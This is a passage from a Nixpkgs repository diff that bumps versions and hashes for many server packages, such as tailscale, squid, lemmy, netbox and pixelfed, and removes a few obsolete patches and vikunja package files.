"sha256-CtuJSLhrgvUAyJDnPvCNH2Rizl0W6SuMjWA6wpDqRtE="; + hash = "sha256-gJViEWHtIczvIiQKuvvuwCfWJMxAYoBhCHhD75no6r0="; }; cmakeFlags = [ "-DSEND_TELEMETRY_DEFAULT=OFF" "-DREGRESS_CHECKS=OFF" "-DTAP_CHECKS=OFF" ] diff --git a/pkgs/servers/sql/postgresql/patches/libxml2.12-15.patch b/pkgs/servers/sql/postgresql/patches/libxml2.12-15.patch deleted file mode 100644 index 13438c7d4bb75..0000000000000 --- a/pkgs/servers/sql/postgresql/patches/libxml2.12-15.patch +++ /dev/null @@ -1,22 +0,0 @@ -diff --git a/src/backend/utils/adt/xml.c b/src/backend/utils/adt/xml.c -index 6411f56b998..0eb39fcfc26 100644 ---- a/src/backend/utils/adt/xml.c -+++ b/src/backend/utils/adt/xml.c -@@ -119,7 +119,7 @@ struct PgXmlErrorContext - - static xmlParserInputPtr xmlPgEntityLoader(const char *URL, const char *ID, - xmlParserCtxtPtr ctxt); --static void xml_errorHandler(void *data, xmlErrorPtr error); -+static void xml_errorHandler(void *data, const xmlError *error); - static void xml_ereport_by_code(int level, int sqlcode, - const char *msg, int errcode); - static void chopStringInfoNewlines(StringInfo str); -@@ -1749,7 +1749,7 @@ xml_ereport(PgXmlErrorContext *errcxt, int level, int sqlcode, const char *msg) - * Error handler for libxml errors and warnings - */ - static void --xml_errorHandler(void *data, xmlErrorPtr error) -+xml_errorHandler(void *data, const xmlError *error) - { - PgXmlErrorContext *xmlerrcxt = (PgXmlErrorContext *) data; - xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) error->ctxt; diff --git a/pkgs/servers/sql/proxysql/default.nix b/pkgs/servers/sql/proxysql/default.nix index f75defb333fdb..83824490bcd11 100644 --- a/pkgs/servers/sql/proxysql/default.nix +++ b/pkgs/servers/sql/proxysql/default.nix @@ -32,13 +32,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "proxysql"; - version = "2.5.5"; + version = "2.6.0"; src = fetchFromGitHub { owner = "sysown"; repo = "proxysql"; rev = finalAttrs.version; - hash = "sha256-+3cOEM5b5HBQhuI+92meupvQnrUj8jgbedzPJqMoXc8="; + hash = "sha256-vFPTBSp5DPNRuhtSD34ah2074almS+jiYxBE1L9Pz6g="; }; patches = [ diff --git a/pkgs/servers/sql/rqlite/default.nix b/pkgs/servers/sql/rqlite/default.nix index f34cc54148fdb..d8bcadbb9df95 100644 --- a/pkgs/servers/sql/rqlite/default.nix +++ b/pkgs/servers/sql/rqlite/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "rqlite"; - version = "8.20.0"; + version = "8.22.1"; src = fetchFromGitHub { owner = "rqlite"; repo = pname; rev = "v${version}"; - sha256 = "sha256-c8icZD30khoPzWx04HG55bsjqUV1kRmNmCgvTOHSyQA="; + sha256 = "sha256-g5W+rHD4gUS82E+wFLQ3VTSwIWQUogwTutwPTtf+IdM="; }; - vendorHash = "sha256-FzxY6CTcFwSmW9LEKzPRtCsKxsGedwU9G3A3efYG9zk="; + vendorHash = "sha256-onR4n6ok6y9APRwGjBoMISbidGDVw19D48TkogRp1uM="; subPackages = [ "cmd/rqlite" "cmd/rqlited" "cmd/rqbench" ]; diff --git a/pkgs/servers/squid/default.nix b/pkgs/servers/squid/default.nix index 5968c7e1e340b..d564f77f7a7c4 100644 --- a/pkgs/servers/squid/default.nix +++ b/pkgs/servers/squid/default.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "squid"; - version = "6.6"; + version = "6.7"; src = fetchurl { url = "http://www.squid-cache.org/Versions/v6/${finalAttrs.pname}-${finalAttrs.version}.tar.xz"; - hash = "sha256-Vb1/n0iYFTFh6hIomYrLVRv4QIMrnluQ/I7NKUJCAxg="; + hash = "sha256-4U2qTq5Bkl0a4/COZEOaaqowEb3O1oZii43ml9WrhCg="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/servers/tailscale/default.nix b/pkgs/servers/tailscale/default.nix index 2f36358e912c0..6ad51525c078d 100644 --- a/pkgs/servers/tailscale/default.nix +++ b/pkgs/servers/tailscale/default.nix @@ -12,7 +12,7 @@ }: let - version = "1.58.2"; + version = "1.60.1"; in buildGoModule { pname = "tailscale"; @@ -22,9 +22,9 @@ buildGoModule { owner = "tailscale"; repo = "tailscale"; rev = "v${version}"; - hash = "sha256-FiFFfUtse0CKR4XJ82HEjpZNxCaa4FnwSJfEzJ5kZgk="; + hash = "sha256-1BzzXRqbs8dS9263cXCujYYSStQlvyQr3dm3tyr+64k="; }; - vendorHash = "sha256-BK1zugKGtx2RpWHDvFZaFqz/YdoewsG8SscGt25uwtQ="; + vendorHash = "sha256-eci4f6golU1eIQOezplA+I+gmOfof40ktIdpr0v/uMc="; nativeBuildInputs = lib.optionals stdenv.isLinux [ makeWrapper ]; diff --git a/pkgs/servers/tang/default.nix b/pkgs/servers/tang/default.nix index 4206973dbd15a..e6581921fcb7f 100644 --- a/pkgs/servers/tang/default.nix +++ b/pkgs/servers/tang/default.nix @@ -18,13 +18,13 @@ stdenv.mkDerivation rec { pname = "tang"; - version = "14"; + version = "15"; src = fetchFromGitHub { owner = "latchset"; repo = "tang"; rev = "refs/tags/v${version}"; - hash = "sha256-QKURKb2g71pZvuZlJk3Rc26H3oU0WSkjgQtJQLrYGbw="; + hash = "sha256-nlC2hdNzQZrfirjS2gX4oFp2OD1OdxmLsN03hfxD3ug="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/tracing/tempo/default.nix b/pkgs/servers/tracing/tempo/default.nix index 59bd418860faa..0772e922fc7fc 100644 --- a/pkgs/servers/tracing/tempo/default.nix +++ b/pkgs/servers/tracing/tempo/default.nix @@ -2,14 +2,14 @@ buildGoModule rec { pname = "tempo"; - version = "2.3.1"; + version = "2.4.0"; src = fetchFromGitHub { owner = "grafana"; repo = "tempo"; rev = "v${version}"; fetchSubmodules = true; - hash = "sha256-U4qn4bBaVCDRQArlxXUURwjz5iPQv7R8o2+xR3PQHGc="; + hash = "sha256-ory7UllnV6Qzjvk2dy5B9pell0Ezse2NAn2rQ1gDsGM="; }; vendorHash = null; diff --git a/pkgs/servers/u9fs/default.nix b/pkgs/servers/u9fs/default.nix index 9056b4791672f..cb85a972e034e 100644 --- a/pkgs/servers/u9fs/default.nix +++ b/pkgs/servers/u9fs/default.nix @@ -19,7 +19,7 @@ stdenv.mkDerivation { meta = with lib; { description = "Serve 9P from Unix"; homepage = "http://p9f.org/magic/man2html?man=u9fs§=4"; - license = licenses.free; + license = licenses.dtoa; maintainers = [ maintainers.ehmry ]; platforms = platforms.unix; mainProgram = "u9fs"; diff --git a/pkgs/servers/web-apps/bookstack/default.nix b/pkgs/servers/web-apps/bookstack/default.nix index 141656ebfa4ad..c59b6dae131e9 100644 --- a/pkgs/servers/web-apps/bookstack/default.nix +++ b/pkgs/servers/web-apps/bookstack/default.nix @@ -16,13 +16,13 @@ let in package.override rec { pname = "bookstack"; - version = "23.12.2"; + version = "24.02"; src = fetchFromGitHub { owner = "bookstackapp"; repo = pname; rev = "v${version}"; - sha256 = "sha256-ZS93Dk4uK2j55VHWV3d3uJtro3STtaWyuOwdXlXv9Ao="; + sha256 = "sha256-F1CNutWFtFaRXsT8InyMww7OR40TXnzVGA/6t0eLBIw="; }; meta = with lib; { diff --git a/pkgs/servers/web-apps/changedetection-io/default.nix b/pkgs/servers/web-apps/changedetection-io/default.nix index a162448e637e9..b9156d2e5b7d6 100644 --- a/pkgs/servers/web-apps/changedetection-io/default.nix +++ b/pkgs/servers/web-apps/changedetection-io/default.nix @@ -5,19 +5,19 @@ python3.pkgs.buildPythonApplication rec { pname = "changedetection-io"; - version = "0.45.9"; + version = "0.45.14"; format = "setuptools"; src = fetchFromGitHub { owner = "dgtlmoon"; repo = "changedetection.io"; rev = version; - hash = "sha256-xiKXp9DBaiSteqZwQLZ4zLwT5MeETJx01rKRrWGYioc="; + hash = "sha256-O+kWivVc/FZmIDjOE/fsUccrOyHrQ8GakjulEnm4w88="; }; postPatch = '' substituteInPlace requirements.txt \ - --replace "apprise~=1.6.0" "apprise" \ + --replace "apprise~=1.7.1" "apprise" \ --replace "cryptography~=3.4" "cryptography" \ --replace "dnspython~=2.4" "dnspython" \ --replace "pytest ~=7.2" "" \ @@ -47,6 +47,7 @@ python3.pkgs.buildPythonApplication rec { jinja2-time jsonpath-ng jq + loguru lxml paho-mqtt pillow @@ -76,5 +77,6 @@ python3.pkgs.buildPythonApplication rec { changelog = "https://github.com/dgtlmoon/changedetection.io/releases/tag/${version}"; license = licenses.asl20; maintainers = with maintainers; [ mikaelfangel ]; + mainProgram = "changedetection.io"; }; } diff --git a/pkgs/servers/web-apps/dokuwiki/default.nix b/pkgs/servers/web-apps/dokuwiki/default.nix index a95a6acdfb7cc..00cbbfd0ad24d 100644 --- a/pkgs/servers/web-apps/dokuwiki/default.nix +++ b/pkgs/servers/web-apps/dokuwiki/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "dokuwiki"; - version = "2023-04-04a"; + version = "2024-02-06a"; src = fetchFromGitHub { owner = "dokuwiki"; repo = pname; rev = "release-${version}"; - sha256 = "sha256-PVfJfGYa2Drf4ljnnhb7kNpjfQlW4dDt5Xd5h+C8tP4="; + sha256 = "sha256-gAoEUskTTbcpHgDUBSsAv6QQDvPuxQ1jXZ4TTKrjWIU="; }; preload = writeText "preload.php" '' diff --git a/pkgs/servers/web-apps/dolibarr/default.nix b/pkgs/servers/web-apps/dolibarr/default.nix index f689aff626bf5..fa6abf047943d 100644 --- a/pkgs/servers/web-apps/dolibarr/default.nix +++ b/pkgs/servers/web-apps/dolibarr/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "dolibarr"; - version = "18.0.4"; + version = "19.0.0"; src = fetchFromGitHub { owner = "Dolibarr"; repo = "dolibarr"; rev = version; - sha256 = "sha256-VHLkd8WAyPcfDzmzZl4G1pSTaklC2k0ez/YaZ+ci/1Q="; + hash = "sha256-Guq3CHdVqGfprXo0O3VriWSfWR/sIgj3Znso1BUeLNY="; }; dontBuild = true; diff --git a/pkgs/servers/web-apps/lemmy/package.json b/pkgs/servers/web-apps/lemmy/package.json index 5b7f477f7c296..813c775072250 100644 --- a/pkgs/servers/web-apps/lemmy/package.json +++ b/pkgs/servers/web-apps/lemmy/package.json @@ -1,19 +1,19 @@ { "name": "lemmy-ui", - "version": "0.18.5", "description": "An isomorphic UI for lemmy", - "repository": "https://github.com/LemmyNet/lemmy-ui", - "license": "AGPL-3.0", + "version": "0.19.3", "author": "Dessalines <tyhou13@gmx.com>", + "license": "AGPL-3.0", "scripts": { "analyze": "webpack --mode=none", - "prebuild:dev": "yarn clean && node generate_translations.js", "build:dev": "webpack --env COMMIT_HASH=$(git rev-parse --short HEAD) --mode=development", - "prebuild:prod": "yarn clean && node generate_translations.js", "build:prod": "webpack --env COMMIT_HASH=$(git rev-parse --short HEAD) --mode=production", "clean": "yarn run rimraf dist", "dev": "yarn build:dev --watch", "lint": "yarn translations:generate && tsc --noEmit && eslint --report-unused-disable-directives --ext .js,.ts,.tsx \"src/**\" && prettier --check \"src/**/*.{ts,tsx,js,css,scss}\"", + "postinstall": "husky install", + "prebuild:dev": "yarn clean && node generate_translations.js", + "prebuild:prod": "yarn clean && node generate_translations.js", "prepare": "husky install", "themes:build": "sass src/assets/css/themes/:src/assets/css/themes", "themes:watch": "sass --watch src/assets/css/themes/:src/assets/css/themes", @@ -21,120 +21,124 @@ "translations:init": "git submodule init && yarn translations:update", "translations:update": "git submodule update --remote --recursive" }, - "lint-staged": { - "*.{ts,tsx,js}": [ - "prettier --write", - "eslint --fix" - ], - "*.{css, scss}": [ - "prettier --write" - ], - "package.json": [ - "sortpack" - ] + "repository": "https://github.com/LemmyNet/lemmy-ui", + "engines": { + "node": ">=8.9.0" }, "dependencies": { - "@babel/plugin-proposal-decorators": "^7.21.5", - "@babel/plugin-transform-runtime": "^7.21.5", - "@babel/plugin-transform-typescript": "^7.21.5", - "@babel/preset-env": "7.21.5", + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/plugin-proposal-decorators": "^7.23.7", + "@babel/plugin-transform-runtime": "^7.23.7", + "@babel/plugin-transform-typescript": "^7.23.6", + "@babel/preset-env": "^7.23.8", "@babel/preset-typescript": "^7.21.5", - "@babel/runtime": "^7.21.5", + "@babel/runtime": "^7.23.8", "@emoji-mart/data": "^1.1.0", + "@shortcm/qr-image": "^9.0.2", "autosize": "^6.0.1", - "babel-loader": "^9.1.2", - "babel-plugin-inferno": "^6.6.0", + "babel-loader": "^9.1.3", + "babel-plugin-inferno": "^6.7.1", "bootstrap": "^5.3.1", "check-password-strength": "^2.0.7", - "classnames": "^2.3.1", + "classnames": "^2.5.1", "clean-webpack-plugin": "^4.0.0", - "cookie": "^0.5.0", - "copy-webpack-plugin": "^11.0.0", - "cross-fetch": "^4.0.0", - "css-loader": "^6.7.3", - "date-fns": "^2.30.0", + "cookie": "^0.6.0", + "copy-webpack-plugin": "^12.0.2", + "css-loader": "^6.9.1", + "date-fns": "^3.2.0", "emoji-mart": "^5.4.0", "emoji-short-name": "^2.0.0", "express": "~4.18.2", "history": "^5.3.0", "html-to-text": "^9.0.5", - "i18next": "^23.3.0", - "inferno": "^8.2.2", - "inferno-create-element": "^8.2.2", + "husky": "^8.0.3", + "i18next": "^23.7.16", + "inferno": "^8.2.3", + "inferno-create-element": "^8.2.3", "inferno-helmet": "^5.2.1", - "inferno-hydrate": "^8.2.2", + "inferno-hydrate": "^8.2.3", "inferno-i18next-dess": "0.0.2", - "inferno-router": "^8.2.2", - "inferno-server": "^8.2.2", - "jwt-decode": "^3.1.2", - "lemmy-js-client": "0.18.1", + "inferno-router": "^8.2.3", + "inferno-server": "^8.2.3", + "jwt-decode": "^4.0.0", + "lemmy-js-client": "0.19.2-alpha.1", "lodash.isequal": "^4.5.0", - "markdown-it": "^13.0.1", - "markdown-it-container": "^3.0.0", - "markdown-it-emoji": "^2.0.2", - "markdown-it-footnote": "^3.0.3", + "markdown-it": "^14.0.0", + "markdown-it-bidi": "^0.1.0", + "markdown-it-container": "^4.0.0", + "markdown-it-emoji": "^3.0.0", + "markdown-it-footnote": "^4.0.0", + "markdown-it-highlightjs": "^4.0.1", "markdown-it-html5-embed": "^1.0.0", "markdown-it-ruby": "^0.1.1", - "markdown-it-sub": "^1.0.0", - "markdown-it-sup": "^1.0.0", - "mini-css-extract-plugin": "^2.7.5", + "markdown-it-sub": "^2.0.0", + "markdown-it-sup": "^2.0.0", + "mini-css-extract-plugin": "^2.7.7", "register-service-worker": "^1.7.2", "run-node-webpack-plugin": "^1.3.0", + "rxjs": "^7.8.1", "sanitize-html": "^2.11.0", - "sass": "^1.64.1", - "sass-loader": "^13.3.2", - "serialize-javascript": "^6.0.1", + "sass": "^1.70.0", + "sass-loader": "^14.0.0", + "serialize-javascript": "^6.0.2", "service-worker-webpack": "^1.0.0", - "sharp": "^0.32.4", + "sharp": "0.32.6", "tippy.js": "^6.3.7", "toastify-js": "^1.12.0", "tributejs": "^5.1.3", - "webpack": "5.88.2", + "webpack": "^5.89.0", "webpack-cli": "^5.1.4", "webpack-node-externals": "^3.0.0" }, "devDependencies": { - "@babel/core": "^7.21.5", - "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/core": "^7.23.7", "@types/autosize": "^4.0.0", "@types/bootstrap": "^5.2.6", - "@types/cookie": "^0.5.1", + "@types/cookie": "^0.6.0", "@types/express": "^4.17.17", "@types/html-to-text": "^9.0.0", "@types/lodash.isequal": "^4.5.6", - "@types/markdown-it": "^12.2.3", + "@types/markdown-it": "^13.0.7", "@types/markdown-it-container": "^2.0.6", - "@types/node": "^20.4.5", + "@types/node": "^20.11.5", "@types/path-browserify": "^1.0.0", "@types/sanitize-html": "^2.9.0", "@types/serialize-javascript": "^5.0.1", "@types/toastify-js": "^1.12.0", - "@typescript-eslint/eslint-plugin": "^6.2.0", - "@typescript-eslint/parser": "^6.2.0", - "eslint": "^8.45.0", - "eslint-plugin-inferno": "^7.32.2", + "@typescript-eslint/eslint-plugin": "^6.19.0", + "@typescript-eslint/parser": "^6.19.0", + "eslint": "^8.56.0", + "eslint-plugin-inferno": "^7.33.3", "eslint-plugin-jsx-a11y": "^6.7.1", - "eslint-plugin-prettier": "^5.0.0", - "husky": "^8.0.3", + "eslint-plugin-prettier": "^5.1.3", "import-sort-style-module": "^6.0.0", - "lint-staged": "^13.2.3", - "prettier": "^3.0.0", + "lint-staged": "^15.2.0", + "prettier": "^3.2.4", "prettier-plugin-import-sort": "^0.0.7", "prettier-plugin-organize-imports": "^3.2.3", - "prettier-plugin-packagejson": "^2.4.5", + "prettier-plugin-packagejson": "^2.4.9", "rimraf": "^5.0.0", - "sortpack": "^2.3.4", - "style-loader": "^3.3.2", - "terser": "^5.19.2", - "typescript": "^5.1.6", - "typescript-language-server": "^3.3.2", + "sortpack": "^2.4.0", + "style-loader": "^3.3.4", + "terser": "^5.27.0", + "typescript": "^5.3.3", + "typescript-language-server": "^4.3.1", "webpack-bundle-analyzer": "^4.9.0", "webpack-dev-server": "4.15.1" }, - "packageManager": "yarn@1.22.19", - "engines": { - "node": ">=8.9.0" + "lint-staged": { + "*.{css, scss}": [ + "prettier --write" + ], + "*.{ts,tsx,js}": [ + "prettier --write", + "eslint --fix" + ], + "package.json": [ + "sortpack" + ] }, + "packageManager": "yarn@1.22.19", "engineStrict": true, "importSort": { ".js, .jsx, .ts, .tsx": { diff --git a/pkgs/servers/web-apps/lemmy/pin.json b/pkgs/servers/web-apps/lemmy/pin.json index f7a4d855f406c..fdab1c9d63d69 100644 --- a/pkgs/servers/web-apps/lemmy/pin.json +++ b/pkgs/servers/web-apps/lemmy/pin.json @@ -1,8 +1,8 @@ { - "serverVersion": "0.18.5", - "uiVersion": "0.18.5", - "serverHash": "sha256-tj8zryCzW3r6VGiNGlI5eo0I+rJfhTUOGtb3YieodpQ=", - "serverCargoHash": "sha256-80jk1GhnXos+lil3joEtPwJjsE8qSEm/WinCfZ3CF/c=", - "uiHash": "sha256-fyXKhVTFc1+gG2TXb9l/YkcwRt/p7DWtB1FO5mpQ3i4=", - "uiYarnDepsHash": "sha256-rLP1CQd75nVfI6C0sC21TUskzVfbGHm2fblcYr6JcGc=" + "serverVersion": "0.19.3", + "uiVersion": "0.19.3", + "serverHash": "sha256-iO7bY2oChx0cZbwgXMrrV4e1kffop9s4xmepNywnApU=", + "serverCargoHash": "sha256-XXfg0o/LQ/imnsHsREoBXMDP1hU5Stxv0s6AP+o+USc=", + "uiHash": "sha256-6GGiKCNL0PALdz0W0d1OOPyMIA5kaoL3148j9GWzrMM=", + "uiYarnDepsHash": "sha256-UQ+B2vF34L+HuisyO7wdW2zCfEEGa8YdnoaB4jHi+DY=" } diff --git a/pkgs/servers/web-apps/lemmy/server.nix b/pkgs/servers/web-apps/lemmy/server.nix index 1f5d3b8b4cea1..4f605b0b2dbd3 100644 --- a/pkgs/servers/web-apps/lemmy/server.nix +++ b/pkgs/servers/web-apps/lemmy/server.nix @@ -46,6 +46,11 @@ rustPlatform.buildRustPackage rec { PROTOC_INCLUDE = "${protobuf}/include"; nativeBuildInputs = [ protobuf rustfmt ]; + checkFlags = [ + # test requires database access + "--skip=session_middleware::tests::test_session_auth" + ]; + passthru.updateScript = ./update.py; passthru.tests.lemmy-server = nixosTests.lemmy; diff --git a/pkgs/servers/web-apps/matomo/default.nix b/pkgs/servers/web-apps/matomo/default.nix index f4946809a6a99..383a8658c5216 100644 --- a/pkgs/servers/web-apps/matomo/default.nix +++ b/pkgs/servers/web-apps/matomo/default.nix @@ -3,8 +3,12 @@ let versions = { matomo = { - version = "4.16.0"; - hash = "sha256-OFZT4195WTWw2XNAyGiNixW6hSNKC3IyBpa5kM9PCVk="; + version = "4.16.1"; + hash = "sha256-cGnsxfpvt7FyhxFcA2/gWWe7CyanVGZVKtCDES3XLdI="; + }; + matomo_5 = { + version = "5.0.2"; + hash = "sha256-rLAShJLtzd3HB1Je+P+i8GKWdeklyC2sTnmPR07Md+8="; }; matomo-beta = { version = "5.0.0"; diff --git a/pkgs/servers/web-apps/netbox/default.nix b/pkgs/servers/web-apps/netbox/default.nix index ea29815974960..494513648c9b7 100644 --- a/pkgs/servers/web-apps/netbox/default.nix +++ b/pkgs/servers/web-apps/netbox/default.nix @@ -22,12 +22,11 @@ lib.fix (self: { }; netbox_3_7 = callPackage generic { - version = "3.7.1"; - hash = "sha256-hAwkrrjrV+XVIYe3C8f/342SPlllXUhiFuaAp+TLMUw="; + version = "3.7.3"; + hash = "sha256-8apjw3mO3RKT/IgJOG1+2GSjNwFhddZ9rIChdP26leE="; extraPatches = [ # Allow setting the STATIC_ROOT from within the configuration and setting a custom redis URL ./config.patch - ./fix-doc-link.patch ]; tests = { netbox = nixosTests.netbox_3_7; diff --git a/pkgs/servers/web-apps/netbox/fix-doc-link.patch b/pkgs/servers/web-apps/netbox/fix-doc-link.patch deleted file mode 100644 index 0be5aee957f31..0000000000000 --- a/pkgs/servers/web-apps/netbox/fix-doc-link.patch +++ /dev/null @@ -1,10 +0,0 @@ -diff --git a/docs/plugins/development/data-backends.md b/docs/plugins/development/data-backends.md -index feffa5bed..8b7226a41 100644 ---- a/docs/plugins/development/data-backends.md -+++ b/docs/plugins/development/data-backends.md -@@ -20,4 +20,4 @@ backends = [MyDataBackend] - !!! tip - The path to the list of search indexes can be modified by setting `data_backends` in the PluginConfig instance. - --::: core.data_backends.DataBackend -+::: netbox.data_backends.DataBackend diff --git a/pkgs/servers/web-apps/nifi/default.nix b/pkgs/servers/web-apps/nifi/default.nix index 182b1fb22fd50..6711608e2f508 100644 --- a/pkgs/servers/web-apps/nifi/default.nix +++ b/pkgs/servers/web-apps/nifi/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "nifi"; - version = "1.24.0"; + version = "1.25.0"; src = fetchzip { url = "mirror://apache/nifi/${version}/nifi-${version}-bin.zip"; - hash = "sha256-8S06E8RiH/EnfAa60eRzjmHmzMn+3UZbykJpvFFXEho="; + hash = "sha256-k8F4Zu1X/R2tv4ZsMT7K8VdXFKX3iLPIWG+gvyNjrf0="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/servers/web-apps/outline/default.nix b/pkgs/servers/web-apps/outline/default.nix index c1ea00484db96..1af9b6ae7a73a 100644 --- a/pkgs/servers/web-apps/outline/default.nix +++ b/pkgs/servers/web-apps/outline/default.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "outline"; - version = "0.74.0"; + version = "0.75.0"; src = fetchFromGitHub { owner = "outline"; repo = "outline"; rev = "v${version}"; - hash = "sha256-fF//SgcBYcJmPDaev8G1s+svCW1bU9CmN3uWEoEeMUk="; + hash = "sha256-u4WDD0HRaNHdknHaoPYprebUaHt8EmESjBG0N6NZpIk="; }; nativeBuildInputs = [ makeWrapper prefetch-yarn-deps ]; @@ -25,7 +25,7 @@ stdenv.mkDerivation rec { yarnOfflineCache = fetchYarnDeps { yarnLock = "${src}/yarn.lock"; - hash = "sha256-T5FrtPN0CxLjF5KkQyH6dA61kvzIOj1Fe5rIY7l+aFE="; + hash = "sha256-V+1lqZh68T3C9VAFETHehv9iCt1j24ZeY9ErbnRGIrk="; }; configurePhase = '' diff --git a/pkgs/servers/web-apps/pict-rs/default.nix b/pkgs/servers/web-apps/pict-rs/default.nix index 9d4db81a69a7a..55437c7926db9 100644 --- a/pkgs/servers/web-apps/pict-rs/default.nix +++ b/pkgs/servers/web-apps/pict-rs/default.nix @@ -13,24 +13,24 @@ rustPlatform.buildRustPackage rec { pname = "pict-rs"; - version = "0.5.6"; + version = "0.5.7"; src = fetchFromGitea { domain = "git.asonix.dog"; owner = "asonix"; repo = pname; rev = "v${version}"; - sha256 = "sha256-YK31z7tFRxLuf3C8ojDIV+mYHvK0dlV8zLHJoWjPzIU="; + sha256 = "sha256-MBV92+mu41ulT6wuzTGbobbspoQA0hNbRIiISol0n48="; }; - cargoHash = "sha256-W6pDWjalyBBqFmm4uZDDTRvTWiwogdOeXbdazz4uM3s="; + cargoHash = "sha256-p7s/gs+sMXR1l08C81tY4K3oV9fWgm07C0nRGspfoR8="; # needed for internal protobuf c wrapper library PROTOC = "${protobuf}/bin/protoc"; PROTOC_INCLUDE = "${protobuf}/include"; nativeBuildInputs = [ makeWrapper ]; - buildInputs = lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks ]; + buildInputs = lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security; postInstall = '' wrapProgram "$out/bin/pict-rs" \ @@ -40,6 +40,7 @@ rustPlatform.buildRustPackage rec { passthru.tests = { inherit (nixosTests) pict-rs; }; meta = with lib; { + broken = stdenv.isDarwin; description = "A simple image hosting service"; homepage = "https://git.asonix.dog/asonix/pict-rs"; license = with licenses; [ agpl3Plus ]; diff --git a/pkgs/servers/web-apps/pixelfed/default.nix b/pkgs/servers/web-apps/pixelfed/default.nix index f183f3cdb730a..2b1f2e7302066 100644 --- a/pkgs/servers/web-apps/pixelfed/default.nix +++ b/pkgs/servers/web-apps/pixelfed/default.nix @@ -10,18 +10,16 @@ php.buildComposerProject (finalAttrs: { pname = "pixelfed"; - version = "0.11.11"; + version = "0.11.13"; src = fetchFromGitHub { owner = "pixelfed"; repo = finalAttrs.pname; rev = "v${finalAttrs.version}"; - hash = "sha256-ytE1ZCKQvoigC8jKPfQ/17jYA0XYOzospq7wY18o2Nk="; + hash = "sha256-bEwKaC9fSOGLQbjsuPuIdMMbO3kzvzQxWQR8C2A4mQc="; }; - vendorHash = "sha256-nRCrmF1p+fZI+iyrM5I3bVCSwjQdn8BSW8Jj62lpn8E="; - # Needed because buzz/laravel-h-captcha is pinned to 1.0.4 in composer.json - composerStrictValidation = false; + vendorHash = "sha256-ahQsOq3qOMGt3b0Ebac4xex+MP9knTmjyCy0PSNE4W8="; postInstall = '' mv "$out/share/php/${finalAttrs.pname}"/* $out diff --git a/pkgs/servers/web-apps/vikunja/api.nix b/pkgs/servers/web-apps/vikunja/api.nix deleted file mode 100644 index f405391cf9636..0000000000000 --- a/pkgs/servers/web-apps/vikunja/api.nix +++ /dev/null @@ -1,59 +0,0 @@ -{ lib, buildGoModule, fetchFromGitHub, mage, writeShellScriptBin, nixosTests }: - -buildGoModule rec { - pname = "vikunja-api"; - version = "0.22.1"; - - src = fetchFromGitHub { - owner = "go-vikunja"; - repo = "api"; - rev = "v${version}"; - hash = "sha256-tYhlAF1VuM/Xz4HP7DtI0hGsiNyYxzFiNIEbm8n9DC8="; - }; - - nativeBuildInputs = - let - fakeGit = writeShellScriptBin "git" '' - if [[ $@ = "describe --tags --always --abbrev=10" ]]; then - echo "${version}" - else - >&2 echo "Unknown command: $@" - exit 1 - fi - ''; - in - [ fakeGit mage ]; - - vendorHash = "sha256-OD/7RCCrRdlrsRW7CRT01cDUvNnedNdTZ8YgDFGaE4o="; - - # checks need to be disabled because of needed internet for some checks - doCheck = false; - - buildPhase = '' - runHook preBuild - - # Fixes "mkdir /homeless-shelter: permission denied" - "Error: error compiling magefiles" during build - export HOME=$(mktemp -d) - mage build:build - - runHook postBuild - ''; - - installPhase = '' - runHook preInstall - install -Dt $out/bin vikunja - runHook postInstall - ''; - - passthru.tests.vikunja = nixosTests.vikunja; - - meta = { - changelog = "https://kolaente.dev/vikunja/api/src/tag/v${version}/CHANGELOG.md"; - description = "API of the Vikunja to-do list app"; - homepage = "https://vikunja.io/"; - license = lib.licenses.agpl3Plus; - maintainers = with lib.maintainers; [ leona ]; - mainProgram = "vikunja"; - platforms = lib.platforms.all; - }; -} diff --git a/pkgs/servers/web-apps/vikunja/frontend.nix b/pkgs/servers/web-apps/vikunja/frontend.nix deleted file mode 100644 index bf09d830c8720..0000000000000 --- a/pkgs/servers/web-apps/vikunja/frontend.nix +++ /dev/null @@ -1,35 +0,0 @@ -{ stdenv, lib, fetchurl, unzip, nixosTests, ... }: - -stdenv.mkDerivation rec { - pname = "vikunja-frontend"; - version = "0.22.1"; - - src = fetchurl { - url = "https://dl.vikunja.io/frontend/${pname}-${version}.zip"; - hash = "sha256-jkFF6sucLZWpWkPcovTdD9MOyJNPRWIBfK9388X5onc="; - }; - - nativeBuildInputs = [ unzip ]; - - sourceRoot = "."; - - installPhase = '' - runHook preInstall - - mkdir -p $out/ - cp -r * $out/ - - runHook postInstall - ''; - - passthru.tests.vikunja = nixosTests.vikunja; - - meta = { - changelog = "https://kolaente.dev/vikunja/frontend/src/tag/v${version}/CHANGELOG.md"; - description = "Frontend of the Vikunja to-do list app"; - homepage = "https://vikunja.io/"; - license = lib.licenses.agpl3Plus; - maintainers = with lib.maintainers; [ leona ]; - platforms = lib.platforms.all; - }; -} diff --git a/pkgs/servers/x11/xorg/default.nix b/pkgs/servers/x11/xorg/default.nix index 8e18237b8e9f9..9be49dc4f0ef9 100644 --- a/pkgs/servers/x11/xorg/default.nix +++ b/pkgs/servers/x11/xorg/default.nix @@ -48,11 +48,11 @@ self: with self; { # THIS IS A GENERATED FILE. DO NOT EDIT! bitmap = callPackage ({ stdenv, pkg-config, fetchurl, libX11, libXaw, xbitmaps, libXmu, xorgproto, libXt, wrapWithXFileSearchPathHook, testers }: stdenv.mkDerivation (finalAttrs: { pname = "bitmap"; - version = "1.1.0"; + version = "1.1.1"; builder = ./builder.sh; src = fetchurl { - url = "mirror://xorg/individual/app/bitmap-1.1.0.tar.xz"; - sha256 = "141nhfmrg14axvix2mc34vfs07gmki3k14qq1vqy7v7f5yf8g1lf"; + url = "mirror://xorg/individual/app/bitmap-1.1.1.tar.xz"; + sha256 = 